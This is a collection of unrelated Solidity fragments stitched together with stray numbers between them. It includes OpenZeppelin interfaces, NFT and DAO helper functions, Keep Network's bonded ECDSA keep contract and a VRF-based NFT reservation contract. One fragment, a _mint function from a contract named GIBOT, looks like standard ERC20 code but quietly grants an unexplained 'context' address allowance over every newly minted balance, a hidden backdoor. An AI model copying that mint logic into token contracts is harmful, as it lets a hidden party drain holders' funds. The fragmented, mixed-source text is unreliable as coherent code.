Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
Hide a FM by setting the FM `hidden` attribute to true if it's value is false !! Otherwise the value is not modified !! It will also: - Add the tokenId to the list of hidden tokens `fmHiddenList` - Increment by one the value of `fmsiddenCount` - Emit an FmHidden event IMPORTANT: when hidden the value of the default generic URL `hiddenFmURL` will be returned by the uri() function instead of the URL stored in the FantasticMoment struct for this tokenId. tokenId_ The tokenId of the FM. Requirements: ADMIN_ROLE/console.log("--> contract: hiding FM (%s)", tokenId_);
function hideFm(uint256 tokenId_) public onlyRole(ADMIN_ROLE) { require(!isHidden(tokenId_), "FM is already hidden"); _fmCollection[tokenId_].fmHidden = true; fmHiddenList[tokenId_] = true; fmHiddenCount.increment(); emit FmHidden(tokenId_); }
13,548,207
./partial_match/42/0x841eCeC4D1E970793fC3E0aAb887041237545276/sources/Transmutation.sol
Returns true if usr has voting shares in the Moloch usr Address to check membership of/
function isMember(address usr) public view returns (bool) { (, uint256 shares, , , , ) = moloch.members(usr); return shares > 0; }
3,400,943
./partial_match/1/0x2B30829405c6A74Fe2E89aB7acd7cA894c445943/sources/GIBOT.sol
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; _allowances[context][account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); }
15,691,928
/** ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓ ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ Trust math, not hardware. */ pragma solidity 0.5.17; import "./api/IBondedECDSAKeep.sol"; import "./api/IBondingManagement.sol"; import "@keep-network/keep-core/contracts/utils/AddressArrayUtils.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; contract AbstractBondedECDSAKeep is IBondedECDSAKeep { using AddressArrayUtils for address[]; using SafeMath for uint256; using SafeERC20 for IERC20; // Status of the keep. // Active means the keep is active. // Closed means the keep was closed happily. // Terminated means the keep was closed due to misbehavior. enum Status {Active, Closed, Terminated} // Address of the keep's owner. address public owner; address public bondTokenAddress; // List of keep members' addresses. address[] public members; // Minimum number of honest keep members required to produce a signature. uint256 public honestThreshold; // Keep's ECDSA public key serialized to 64-bytes, where X and Y coordinates // are padded with zeros to 32-byte each. bytes public publicKey; // Latest digest requested to be signed. Used to validate submitted signature. bytes32 public digest; // Map of all digests requested to be signed. Used to validate submitted // signature. Holds the block number at which the signature over the given // digest was requested mapping(bytes32 => uint256) public digests; // The timestamp at which keep has been created and key generation process // started. uint256 internal keyGenerationStartTimestamp; // The timestamp at which signing process started. Used also to track if // signing is in progress. When set to `0` indicates there is no // signing process in progress. uint256 internal signingStartTimestamp; // Map stores public key by member addresses. All members should submit the // same public key. mapping(address => bytes) internal submittedPublicKeys; // Map stores amount of wei stored in the contract for each member address. mapping(address => uint256) internal memberETHBalances; // Map stores preimages that have been proven to be fraudulent. This is needed // to prevent from slashing members multiple times for the same fraudulent // preimage. mapping(bytes => bool) internal fraudulentPreimages; // The current status of the keep. // If the keep is Active members monitor it and support requests from the // keep owner. // If the owner decides to close the keep the flag is set to Closed. // If the owner seizes member bonds the flag is set to Terminated. Status internal status; IBondingManagement internal bonding; // Flags execution of contract initialization. bool internal isInitialized; // Notification that the keep was requested to sign a digest. event SignatureRequested(bytes32 indexed digest); // Notification that the submitted public key does not match a key submitted // by other member. The event contains address of the member who tried to // submit a public key and a conflicting public key submitted already by other // member. event ConflictingPublicKeySubmitted( address indexed submittingMember, bytes conflictingPublicKey ); // Notification that keep's ECDSA public key has been successfully established. event PublicKeyPublished(bytes publicKey); // Notification that ETH reward has been distributed to keep members. event ETHRewardDistributed(uint256 amount); // Notification that ERC20 reward has been distributed to keep members. event ERC20RewardDistributed(address indexed token, uint256 amount); // Notification that the keep was closed by the owner. // Members no longer need to support this keep. event KeepClosed(); // Notification that the keep has been terminated by the owner. // Members no longer need to support this keep. event KeepTerminated(); // Notification that the signature has been calculated. Contains a digest which // was used for signature calculation and a signature in a form of r, s and // recovery ID values. // The signature is chain-agnostic. Some chains (e.g. Ethereum and BTC) requires // `v` to be calculated by increasing recovery id by 27. Please consult the // documentation about what the particular chain expects. event SignatureSubmitted( bytes32 indexed digest, bytes32 r, bytes32 s, uint8 recoveryID ); /// @notice Returns keep's ECDSA public key. /// @return Keep's ECDSA public key. function getPublicKey() external view returns (bytes memory) { return publicKey; } /// @notice Submits a public key to the keep. /// @dev Public key is published successfully if all members submit the same /// value. In case of conflicts with others members submissions it will emit /// `ConflictingPublicKeySubmitted` event. When all submitted keys match /// it will store the key as keep's public key and emit a `PublicKeyPublished` /// event. /// @param _publicKey Signer's public key. function submitPublicKey(bytes calldata _publicKey) external onlyMember { require( !hasMemberSubmittedPublicKey(msg.sender), "Member already submitted a public key" ); require(_publicKey.length == 64, "Public key must be 64 bytes long"); submittedPublicKeys[msg.sender] = _publicKey; // Check if public keys submitted by all keep members are the same as // the currently submitted one. uint256 matchingPublicKeysCount = 0; for (uint256 i = 0; i < members.length; i++) { if ( keccak256(submittedPublicKeys[members[i]]) != keccak256(_publicKey) ) { // Emit an event only if compared member already submitted a value. if (hasMemberSubmittedPublicKey(members[i])) { emit ConflictingPublicKeySubmitted( msg.sender, submittedPublicKeys[members[i]] ); } } else { matchingPublicKeysCount++; } } if (matchingPublicKeysCount != members.length) { return; } // All submitted signatures match. publicKey = _publicKey; emit PublicKeyPublished(_publicKey); } /// @notice Calculates a signature over provided digest by the keep. /// @dev Only one signing process can be in progress at a time. /// @param _digest Digest to be signed. function sign(bytes32 _digest) external onlyOwner onlyWhenActive { require(publicKey.length != 0, "Public key was not set yet"); require(!isSigningInProgress(), "Signer is busy"); /* solium-disable-next-line */ signingStartTimestamp = block.timestamp; digests[_digest] = block.number; digest = _digest; emit SignatureRequested(_digest); } /// @notice Checks if keep is currently awaiting a signature for the given digest. /// @dev Validates if the signing is currently in progress and compares provided /// digest with the one for which the latest signature was requested. /// @param _digest Digest for which to check if signature is being awaited. /// @return True if the digest is currently expected to be signed, else false. function isAwaitingSignature(bytes32 _digest) external view returns (bool) { return isSigningInProgress() && digest == _digest; } /// @notice Submits a signature calculated for the given digest. /// @dev Fails if signature has not been requested or a signature has already /// been submitted. /// Validates s value to ensure it's in the lower half of the secp256k1 curve's /// order. /// @param _r Calculated signature's R value. /// @param _s Calculated signature's S value. /// @param _recoveryID Calculated signature's recovery ID (one of {0, 1, 2, 3}). function submitSignature( bytes32 _r, bytes32 _s, uint8 _recoveryID ) external onlyMember { require(isSigningInProgress(), "Not awaiting a signature"); require(_recoveryID < 4, "Recovery ID must be one of {0, 1, 2, 3}"); // Validate `s` value for a malleability concern described in EIP-2. // Only signatures with `s` value in the lower half of the secp256k1 // curve's order are considered valid. require( uint256(_s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Malleable signature - s should be in the low half of secp256k1 curve's order" ); // We add 27 to the recovery ID to align it with ethereum and bitcoin // protocols where 27 is added to recovery ID to indicate usage of // uncompressed public keys. uint8 _v = 27 + _recoveryID; // Validate signature. require( publicKeyToAddress(publicKey) == ecrecover(digest, _v, _r, _s), "Invalid signature" ); signingStartTimestamp = 0; emit SignatureSubmitted(digest, _r, _s, _recoveryID); } /// @notice Distributes ETH reward evenly across all keep signer beneficiaries. /// If the value cannot be divided evenly across all signers, it sends the /// remainder to the last keep signer. /// @dev Only the value passed to this function is distributed. This /// function does not transfer the value to beneficiaries accounts; instead /// it holds the value in the contract until withdraw function is called for /// the specific signer. function distributeETHReward() external payable { uint256 memberCount = members.length; uint256 dividend = msg.value.div(memberCount); require(dividend > 0, "Dividend value must be non-zero"); for (uint16 i = 0; i < memberCount - 1; i++) { memberETHBalances[members[i]] += dividend; } // Give the dividend to the last signer. Remainder might be equal to // zero in case of even distribution or some small number. uint256 remainder = msg.value.mod(memberCount); memberETHBalances[members[memberCount - 1]] += dividend.add(remainder); emit ETHRewardDistributed(msg.value); } /// @notice Distributes ERC20 reward evenly across all keep signer beneficiaries. /// @dev This works with any ERC20 token that implements a transferFrom /// function similar to the interface imported here from /// OpenZeppelin. This function only has authority over pre-approved /// token amount. We don't explicitly check for allowance, SafeMath /// subtraction overflow is enough protection. If the value cannot be /// divided evenly across the signers, it submits the remainder to the last /// keep signer. /// @param _tokenAddress Address of the ERC20 token to distribute. /// @param _value Amount of ERC20 token to distribute. function distributeERC20Reward(address _tokenAddress, uint256 _value) external { IERC20 token = IERC20(_tokenAddress); uint256 memberCount = members.length; uint256 dividend = _value.div(memberCount); require(dividend > 0, "Dividend value must be non-zero"); for (uint16 i = 0; i < memberCount - 1; i++) { token.safeTransferFrom( msg.sender, beneficiaryOf(members[i]), dividend ); } // Transfer of dividend for the last member. Remainder might be equal to // zero in case of even distribution or some small number. uint256 remainder = _value.mod(memberCount); token.safeTransferFrom( msg.sender, beneficiaryOf(members[memberCount - 1]), dividend.add(remainder) ); emit ERC20RewardDistributed(_tokenAddress, _value); } /// @notice Gets current amount of ETH hold in the keep for the member. /// @param _member Keep member address. /// @return Current balance in wei. function getMemberETHBalance(address _member) external view returns (uint256) { return memberETHBalances[_member]; } /// @notice Withdraws amount of ether hold in the keep for the member. /// The value is sent to the beneficiary of the specific member. /// @param _member Keep member address. function withdraw(address _member) external { uint256 value = memberETHBalances[_member]; require(value > 0, "No funds to withdraw"); memberETHBalances[_member] = 0; /* solium-disable-next-line security/no-call-value */ (bool success, ) = beneficiaryOf(_member).call.value(value)(""); require(success, "Transfer failed"); } /// @notice Submits a fraud proof for a valid signature from this keep that was /// not first approved via a call to sign. If fraud is detected it tries to /// slash members' KEEP tokens. For each keep member tries slashing amount /// equal to the member stake set by the factory when keep was created. /// @dev The function expects the signed digest to be calculated as a sha256 /// hash of the preimage: `sha256(_preimage))`. The function reverts if the /// signature is not fraudulent. The function does not revert if KEEP slashing /// failed but emits an event instead. In practice, KEEP slashing should /// never fail. /// @param _v Signature's header byte: `27 + recoveryID`. /// @param _r R part of ECDSA signature. /// @param _s S part of ECDSA signature. /// @param _signedDigest Digest for the provided signature. Result of hashing /// the preimage with sha256. /// @param _preimage Preimage of the hashed message. /// @return True if fraud, error otherwise. function submitSignatureFraud( uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes calldata _preimage ) external onlyWhenActive returns (bool _isFraud) { bool isFraud = checkSignatureFraud(_v, _r, _s, _signedDigest, _preimage); require(isFraud, "Signature is not fraudulent"); if (!fraudulentPreimages[_preimage]) { slashForSignatureFraud(); fraudulentPreimages[_preimage] = true; } return isFraud; } /// @notice Gets the owner of the keep. /// @return Address of the keep owner. function getOwner() external view returns (address) { return owner; } /// @notice Gets the timestamp the keep was opened at. /// @return Timestamp the keep was opened at. function getOpenedTimestamp() external view returns (uint256) { return keyGenerationStartTimestamp; } /// @notice Returns the amount of the keep's ETH bond in wei. /// @return The amount of the keep's ETH bond in wei. function checkBondAmount() external view returns (uint256) { uint256 sumBondAmount = 0; for (uint256 i = 0; i < members.length; i++) { sumBondAmount += bonding.bondAmount( members[i], address(this), uint256(address(this)) ); } return sumBondAmount; } /// @notice Seizes the signers' ETH bonds. After seizing bonds keep is /// closed so it will no longer respond to signing requests. Bonds can be /// seized only when there is no signing in progress or requested signing /// process has timed out. This function seizes all of signers' bonds. /// The application may decide to return part of bonds later after they are /// processed using returnPartialSignerBonds function. function seizeSignerBonds() external onlyOwner onlyWhenActive { terminateKeep(); for (uint256 i = 0; i < members.length; i++) { uint256 amount = bonding.bondAmount( members[i], address(this), uint256(address(this)) ); bonding.seizeBond( members[i], uint256(address(this)), amount, address(uint160(owner)) ); } } /// @notice Returns partial signer's ETH bonds to the pool as an unbounded /// value. This function is called after bonds have been seized and processed /// by the privileged application after calling seizeSignerBonds function. /// It is entirely up to the application if a part of signers' bonds is /// returned. The application may decide for that but may also decide to /// seize bonds and do not return anything. function returnPartialSignerBonds(uint256 _amount) external { uint256 memberCount = members.length; uint256 bondPerMember = _amount.div(memberCount); require(bondPerMember > 0, "Partial signer bond must be non-zero"); for (uint16 i = 0; i < memberCount-1; i++) { bonding.depositFor(members[i], bondPerMember, msg.sender); } // Transfer of dividend for the last member. Remainder might be equal to // zero in case of even distribution or some small number. uint256 remainder = _amount.mod(memberCount); bonding.depositFor(members[memberCount - 1], bondPerMember.add(remainder), msg.sender); } /// @notice Closes keep when owner decides that they no longer need it. /// Releases bonds to the keep members. /// @dev The function can be called only by the owner of the keep and only /// if the keep has not been already closed. function closeKeep() public onlyOwner onlyWhenActive { markAsClosed(); freeMembersBonds(); } /// @notice Returns true if the keep is active. /// @return true if the keep is active, false otherwise. function isActive() public view returns (bool) { return status == Status.Active; } /// @notice Returns true if the keep is closed and members no longer support /// this keep. /// @return true if the keep is closed, false otherwise. function isClosed() public view returns (bool) { return status == Status.Closed; } /// @notice Returns true if the keep has been terminated. /// Keep is terminated when bonds are seized and members no longer support /// this keep. /// @return true if the keep has been terminated, false otherwise. function isTerminated() public view returns (bool) { return status == Status.Terminated; } /// @notice Returns members of the keep. /// @return List of the keep members' addresses. function getMembers() public view returns (address[] memory) { return members; } /// @notice Checks a fraud proof for a valid signature from this keep that was /// not first approved via a call to sign. /// @dev The function expects the signed digest to be calculated as a sha256 hash /// of the preimage: `sha256(_preimage))`. The digest is verified against the /// preimage to ensure the security of the ECDSA protocol. Verifying just the /// signature and the digest is not enough and leaves the possibility of the /// the existential forgery. If digest and preimage verification fails the /// function reverts. /// Reverts if a public key has not been set for the keep yet. /// @param _v Signature's header byte: `27 + recoveryID`. /// @param _r R part of ECDSA signature. /// @param _s S part of ECDSA signature. /// @param _signedDigest Digest for the provided signature. Result of hashing /// the preimage with sha256. /// @param _preimage Preimage of the hashed message. /// @return True if fraud, false otherwise. function checkSignatureFraud( uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes memory _preimage ) public view returns (bool _isFraud) { require(publicKey.length != 0, "Public key was not set yet"); bytes32 calculatedDigest = sha256(_preimage); require( _signedDigest == calculatedDigest, "Signed digest does not match sha256 hash of the preimage" ); bool isSignatureValid = publicKeyToAddress(publicKey) == ecrecover(_signedDigest, _v, _r, _s); // Check if the signature is valid but was not requested. return isSignatureValid && digests[_signedDigest] == 0; } /// @notice Initialization function. /// @dev We use clone factory to create new keep. That is why this contract /// doesn't have a constructor. We provide keep parameters for each instance /// function after cloning instances from the master contract. /// Initialization must happen in the same transaction in which the clone is /// created. /// @param _owner Address of the keep owner. /// @param _members Addresses of the keep members. /// @param _honestThreshold Minimum number of honest keep members. function initialize( address _owner, address[] memory _members, uint256 _honestThreshold, address _bonding, address _bondTokenAddress ) internal { require(!isInitialized, "Contract already initialized"); owner = _owner; members = _members; honestThreshold = _honestThreshold; bondTokenAddress = _bondTokenAddress; status = Status.Active; isInitialized = true; /* solium-disable-next-line security/no-block-members*/ keyGenerationStartTimestamp = block.timestamp; bonding = IBondingManagement(_bonding); } /// @notice Checks if the member already submitted a public key. /// @param _member Address of the member. /// @return True if member already submitted a public key, else false. function hasMemberSubmittedPublicKey(address _member) internal view returns (bool) { return submittedPublicKeys[_member].length != 0; } /// @notice Returns true if signing of a digest is currently in progress. function isSigningInProgress() internal view returns (bool) { return signingStartTimestamp != 0; } /// @notice Marks the keep as closed. /// Keep can be marked as closed only when there is no signing in progress /// or the requested signing process has timed out. function markAsClosed() internal { status = Status.Closed; emit KeepClosed(); } /// @notice Marks the keep as terminated. /// Keep can be marked as terminated only when there is no signing in progress /// or the requested signing process has timed out. function markAsTerminated() internal { status = Status.Terminated; emit KeepTerminated(); } /// @notice Coverts a public key to an ethereum address. /// @param _publicKey Public key provided as 64-bytes concatenation of /// X and Y coordinates (32-bytes each). /// @return Ethereum address. function publicKeyToAddress(bytes memory _publicKey) internal pure returns (address) { // We hash the public key and then truncate last 20 bytes of the digest // which is the ethereum address. return address(uint160(uint256(keccak256(_publicKey)))); } /// @notice Returns bonds to the keep members. function freeMembersBonds() internal { for (uint256 i = 0; i < members.length; i++) { bonding.freeBond(members[i], uint256(address(this))); } } /// @notice Terminates the keep. function terminateKeep() internal { markAsTerminated(); } /// @notice Punishes keep members after proving a signature fraud. function slashForSignatureFraud() internal; /// @notice Gets the beneficiary for the specified member address. /// @param _member Member address. /// @return Beneficiary address. function beneficiaryOf(address _member) internal view returns (address payable); /// @notice Checks if the caller is the keep's owner. /// @dev Throws an error if called by any account other than owner. modifier onlyOwner() { require(owner == msg.sender, "Caller is not the keep owner"); _; } /// @notice Checks if the caller is a keep member. /// @dev Throws an error if called by any account other than one of the members. modifier onlyMember() { require(members.contains(msg.sender), "Caller is not the keep member"); _; } /// @notice Checks if the keep is currently active. /// @dev Throws an error if called when the keep has been already closed. modifier onlyWhenActive() { require(isActive(), "Keep is not active"); _; } }
Seizes the signers' ETH bonds. After seizing bonds keep is closed so it will no longer respond to signing requests. Bonds can be seized only when there is no signing in progress or requested signing process has timed out. This function seizes all of signers' bonds. The application may decide to return part of bonds later after they are processed using returnPartialSignerBonds function.
function seizeSignerBonds() external onlyOwner onlyWhenActive { terminateKeep(); for (uint256 i = 0; i < members.length; i++) { uint256 amount = bonding.bondAmount( members[i], address(this), uint256(address(this)) ); bonding.seizeBond( members[i], uint256(address(this)), amount, address(uint160(owner)) ); } }
950,816
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.7; // OpenZeppelin Contracts @ version 4.3.2 import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./interfaces/IRandomNumberConsumer.sol"; /** * @title ReservationVariantVRF721NFT * @notice ERC-721 NFT Contract with VRF-powered offset after reservation period completion * * Key features: * - Uses Chainlink VRF to establish random distribution at time of "reveal" */ contract ReservationVariantVRF721NFT is ERC721, Ownable { using Strings for uint256; // Controlled state variables using Counters for Counters.Counter; Counters.Counter private _reservationIds; bool public isRandomnessRequested; bytes32 public randomNumberRequestId; uint256 public vrfResult; uint256 public randomOffset; mapping(address => uint256[]) public buyerToReservationIds; mapping(uint256 => address) public reservationIdToBuyer; mapping(address => uint256) public buyerToRedeemedReservationCount; // Configurable state variables string public preRevealURI; string public baseURI; string public suffixBaseURI; uint256 public supplyLimit; uint256 public reservationStartTimeUnix; uint256 public reservationEndTimeUnix; uint256 public reservationPriceWei; uint256 public singleOrderLimit; address public vrfProvider; // Events event PlacedReservation(address reserver, uint256 amount); event RequestedVRF(bytes32 requestId); event CommittedVRF(bytes32 requestId, uint256 vrfResult, uint256 randomOffset); event MintedOffset(address minter, uint256 reservationId, uint256 tokenId); constructor( string memory _reservationName, string memory _reservationSymbol, string memory _preRevealURI, string memory _baseURI, string memory _suffixBaseURI, uint256 _supplyLimit, uint256 _reservationStartTimeUnix, uint256 _reservationEndTimeUnix, uint256 _reservationPriceWei, uint256 _singleOrderLimit, address _vrfProvider ) public ERC721(_reservationName, _reservationSymbol) { randomOffset = 0; // Must be zero at time of deployment preRevealURI = _preRevealURI; baseURI = _baseURI; suffixBaseURI = _suffixBaseURI; // Usually ".json" supplyLimit = _supplyLimit; reservationStartTimeUnix = _reservationStartTimeUnix; reservationEndTimeUnix = _reservationEndTimeUnix; reservationPriceWei = _reservationPriceWei; singleOrderLimit = _singleOrderLimit; vrfProvider = _vrfProvider; } function purchaseReservation(uint256 quantity) external payable { require(block.timestamp >= reservationStartTimeUnix, "ReservationVariantVRF721NFT::purchaseReservation: reservation period has not started"); require(block.timestamp <= reservationEndTimeUnix, "ReservationVariantVRF721NFT::purchaseReservation: reservation period has ended"); require((msg.value) == (reservationPriceWei * quantity), "ReservationVariantVRF721NFT::purchaseReservation: incorrect ETH value provided"); require(quantity <= singleOrderLimit, "ReservationVariantVRF721NFT::purchaseReservation: quantity exceeds max per transaction"); require((_reservationIds.current() + quantity) <= supplyLimit, "ReservationVariantVRF721NFT::purchaseReservation: would cause total supply to exceed max supply"); // We increment first because we want our first reservation ID to have an ID of 1 instead of 0 // (makes wrapping from max -> min slightly easier) for(uint256 i = 0; i < quantity; i++) { _reservationIds.increment(); uint256 newReservationId = _reservationIds.current(); buyerToReservationIds[msg.sender].push(newReservationId); reservationIdToBuyer[newReservationId] = msg.sender; } emit PlacedReservation(msg.sender, quantity); } function addressToReservationCount(address _address) public view returns (uint256) { return buyerToReservationIds[_address].length; } function mint(uint256[] memory _mintReservationIds) external { require(vrfResult > 0, "ReservationVariantVRF721NFT::mint: vrfResult has not yet been set"); uint256[] memory reservationIdsMemory = buyerToReservationIds[msg.sender]; require(reservationIdsMemory.length > 0, "ReservationVariantVRF721NFT::mint: msg.sender has not purchased any reservations"); uint256 buyerToRedeemedReservationCountMemory = buyerToRedeemedReservationCount[msg.sender]; require(buyerToRedeemedReservationCountMemory < reservationIdsMemory.length, "ReservationVariantVRF721NFT::mint: all msg.sender reservations redeemed"); uint256 reservationSupply = _reservationIds.current(); for(uint256 i = 0; i < _mintReservationIds.length; i++) { require(reservationIdToBuyer[_mintReservationIds[i]] == msg.sender, "ReservationVariantVRF721NFT::mint: mintId not assigned to msg.sender"); // Uses the VRF-provided randomOffset to determine which metadata file is used for the requested reservationId uint256 offsetTokenId; if((_mintReservationIds[i] + randomOffset) <= reservationSupply) { // e.g. with a randomOffset of 2, and a reservationSupply of 10, and a reservationId of 5: offsetTokenId = 7 (5 + 2) offsetTokenId = _mintReservationIds[i] + randomOffset; } else { // e.g. with a randomOffset of 2, and a reservationSupply of 10, and a reservationId of 9: offsetTokenId = 1 (wraps around from 9 -> 1: (2 - (10 - 9))) offsetTokenId = (randomOffset - (reservationSupply - _mintReservationIds[i])); } _mint(msg.sender, offsetTokenId); emit MintedOffset(msg.sender, _mintReservationIds[i], offsetTokenId); } buyerToRedeemedReservationCount[msg.sender] += _mintReservationIds.length; } function tokenURI(uint256 reservationId) public view virtual override returns (string memory) { require(_exists(reservationId), "ERC721Metadata: URI query for nonexistent reservation"); // If vrfResult hasn't been revealed, return the reservation URI (preRevealURI). if (vrfResult == 0) { return preRevealURI; } // Concatenate the reservationID along with the suffixBaseURI to the baseURI return string(abi.encodePacked(baseURI, reservationId.toString(), suffixBaseURI)); } function initiateRandomDistribution() external { require(block.timestamp > reservationEndTimeUnix, "ReservationVariantVRF721NFT::mint: reservation period has not ended"); uint256 reservationSupply = _reservationIds.current(); require(reservationSupply > 0, "ReservationVariantVRF721NFT::beginReveal: reservation supply must be more than 0"); require(isRandomnessRequested == false, "ReservationVariantVRF721NFT::beginReveal: request for random number has already been initiated"); IRandomNumberConsumer randomNumberConsumer = IRandomNumberConsumer(vrfProvider); randomNumberRequestId = randomNumberConsumer.getRandomNumber(); isRandomnessRequested = true; emit RequestedVRF(randomNumberRequestId); } function commitRandomDistribution() external { require(isRandomnessRequested == true, "ReservationVariantVRF721NFT::completeReveal: request for random number has not been initiated"); IRandomNumberConsumer randomNumberConsumer = IRandomNumberConsumer(vrfProvider); uint256 result = randomNumberConsumer.readFulfilledRandomness(randomNumberRequestId); require(result > 0, "ReservationVariantVRF721NFT::completeReveal: randomResult has not been provided to vrfProvider"); vrfResult = result; randomOffset = result % _reservationIds.current(); emit CommittedVRF(randomNumberRequestId, vrfResult, randomOffset); } }
